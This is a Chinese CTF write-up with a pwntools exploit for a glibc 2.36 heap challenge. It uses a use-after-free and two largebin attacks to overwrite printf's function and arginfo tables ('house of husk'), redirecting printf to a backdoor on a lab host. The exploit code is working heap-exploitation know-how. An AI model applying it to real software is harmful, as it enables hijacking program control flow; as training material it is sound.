glibc 2.36,程序本身没开PIE
逻辑比较简单,传统菜单题,rm的时候存在UAF
add限制大小为 [0x500, 0x900]
只能打largebin attack
同时check_io中会检查libc中的stdin/stdout/stderr指针是否与bss上存着的相同,不相同直接_exit,也就是说我们没法篡改这几个指针
同时程序不存在正常退出的逻辑,只会_exit,也就是打_IO_list_all
也不行
此时由于程序中存在printf,且题目名称已经给出了提示,我在各种资料中一番查找后,发现house of husk似乎是可行的
通过两次largebin attack修改__printf_function_table
和 __printf_arginfo_table
为堆地址,并在对应堆块 (ord('s') - 2) * 8
偏移处放下后门函数地址
后面调用printf("%s")
时就会触发后门函数执行
import os
import sys
import time
import ctypes
from pwn import *
def interrupt(io):
if IN_DEBUG:
gdb.attach(io, gdb_args)
def tob(a):
if isinstance(a, str):
return bytes(a,encoding="latin1")
elif isinstance(a,bytes) or isinstance(a,bytearray):
return a
else:
return bytes(str(a),encoding="latin1")
def main():
global IN_DEBUG, gdb_args, pwn_elf, libc, libc_exec
IN_DEBUG = False
libc_path = "/usr/lib/glibc/2.36-0ubuntu4_amd64/libc.so.6"
elf_path = "./pwn"
gdb_args = '''
# b *0x4013C5
'''
if sys.argv[1] == "a":
context.log_level = "error"
else:
context.log_level = "info"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
context.binary = elf_path
libc = ELF(libc_path)
# libc_exec = ctypes.cdll.LoadLibrary(libc_path)
pwn_elf = ELF(elf_path)
if sys.argv[1] in ["d", "m", "l", "r"]:
cnt = int(sys.argv[2]) if len(sys.argv) > 2 else 1
elif sys.argv[1] in ["a"]:
cnt = int(sys.argv[4]) if len(sys.argv) > 4 else 1
success(f"Total rounds: {cnt}")
while cnt != 0:
if len(sys.argv) == 1 or sys.argv[1] == "d":
io = gdb.debug(context.binary.path, gdb_args)#, env={"LD_PRELOAD":libc_path})
elif sys.argv[1] == "m":
io = process(context.binary.path)
IN_DEBUG = True
elif sys.argv[1] == "l":
io = process(context.binary.path)
elif sys.argv[1] == "a":
if isinstance(sys.argv[3],int):
io = remote(sys.argv[2],sys.argv[3])
elif isinstance(sys.argv[3],str) or isinstance(sys.argv[3],bytes):
io = remote(sys.argv[2],int(sys.argv[3]))
elif sys.argv[1] == "r":
io = remote("10.1.112.102", 10001)
try:
success(f"Round left: {cnt}")
pwn(io)
except EOFError:
io.close()
cnt -= 1
continue
success("Done")
break
def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload
def menu(io: tube, v: int):
io.sendlineafter(b"4. Show note\\n>", tob(v))
def add(io: tube, idx: int, size: int):
menu(io, 1)
io.sendlineafter(b"Index: ", tob(idx))
io.sendlineafter(b"Size: ", tob(size))
def rm(io: tube, idx: int):
menu(io, 2)
io.sendlineafter(b"Index: ", tob(idx))
def edit(io: tube, idx: int, data: bytes):
menu(io, 3)
io.sendlineafter(b"Index: ", tob(idx))
io.sendafter(b"Content: ", tob(data))
def show(io: tube, idx: int, need_output=True):
menu(io, 4)
io.sendlineafter(b"Index: ", tob(idx))
if need_output:
io.recvuntil(b"Content: ")
return io.recvline()[:-1]
def pwn(io: tube):
add(io, 0, 0x600)
add(io, 1, 0x600)
add(io, 2, 0x600)
add(io, 3, 0x600)
rm(io, 0)
rm(io, 2)
heap_addr = u64(show(io, 2).ljust(8, b'\\0'))
success(f"heap: {hex(heap_addr)}")
rm(io, 1)
rm(io, 3)
add(io, 1, 0x528) # p1
add(io, 0, 0x500) # 0 is for padding
add(io, 2, 0x518) # p2
add(io, 0, 0x500) # 0 is for padding
rm(io, 1)
libc.address = u64(show(io, 1) + b'\\0\\0') - 0x1f6cc0
success(f"libc: {hex(libc.address)}")
add(io, 3, 0x538) # p3
rm(io, 2)
target1 = libc.address + 0x1f8980 # __printf_function_table
payload = flat(
libc.address + 0x1f70f0,
libc.address + 0x1f70f0,
heap_addr,
target1 - 0x20,
)
edit(io, 1, payload)
add(io, 4, 0x538)
payload = flat(
[0]*(ord('s') - 2),
0x4011D6
)
edit(io, 2, payload)
add(io, 1, 0x628) # p1
add(io, 0, 0x600) # 0 is for padding
add(io, 2, 0x618) # p2
add(io, 0, 0x600) # 0 is for padding
rm(io, 1)
add(io, 3, 0x638) # p3
rm(io, 2)
target2 = libc.address + 0x1f7890 # __printf_arginfo_table
payload = flat(
libc.address + 0x1f7130,
libc.address + 0x1f7130,
heap_addr,
target2 - 0x20,
)
edit(io, 1, payload)
add(io, 4, 0x638)
interrupt(io)
context.log_level = "debug"
show(io, 1, False)
io.interactive()
if __name__ == "__main__":
main()